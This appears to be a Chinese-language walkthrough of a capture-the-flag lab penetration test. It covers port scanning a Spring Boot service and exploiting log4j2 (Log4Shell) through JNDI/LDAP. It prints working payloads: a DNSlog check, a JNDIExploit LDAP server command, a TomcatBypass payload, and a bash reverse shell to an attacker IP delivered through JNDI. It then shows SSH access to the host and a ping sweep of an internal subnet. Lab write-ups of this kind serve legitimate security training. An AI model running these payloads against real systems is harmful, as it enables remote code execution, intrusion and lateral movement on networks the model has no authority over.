分享一次靶场渗透 _靶场渗透

外网打点首先对web进行端口扫描，发现38080端口和22端口

文章插图

访问一下38080端口发现是一个error page

文章插图

用WAppalyzer看一下是什么架构，但是好像没有检测出来

文章插图

拿着报错去百度上发现应该是springboot

文章插图

索性用goby再去扫一下，应该是spring没错，但是没有漏洞是什么操作？联想到最近出的log4j2的洞，可能他只是一个日志文件所以并没有框架

文章插图

文章插图

使用payload=${
jndi:ldap://p9j8l8.DNSlog.cn}验证一下有回显证明存在漏洞

文章插图

尝试进一步利用漏洞，首先起一个ldap服务，ip为本地接收shell的ip地址
JAVA -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

文章插图

抓包修改Content-Type:
appllication/x-www-form-urlencoded，并执行以下payload成功回显
payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

文章插图

执行ls -al /看一下也成功

文章插图

nc开启监听端口

文章插图

然后使用bash命令反弹，这里需要先base64编码然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1抓包添加payload=${
jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符}，即可得到反弹shell

文章插图

进行信息搜集发现为Docker环境，这里尝试了docker逃逸失败，那么继续进行信息搜集

文章插图

在根目录下找到了第一个flag，这里有一个got this，在之前端口扫描的时候看到开放了22端口，尝试使用ssh直接连接

文章插图

使用xshell尝试连接

文章插图

连接成功，拿到了宿主机的权限

文章插图

内网渗透ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

文章插图

这里方便的话其实可以使用cs上线linux后用cs继续打，这里我就没有上线cs，使用linux的命令对10.0.1.0/24段探测存货主机
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done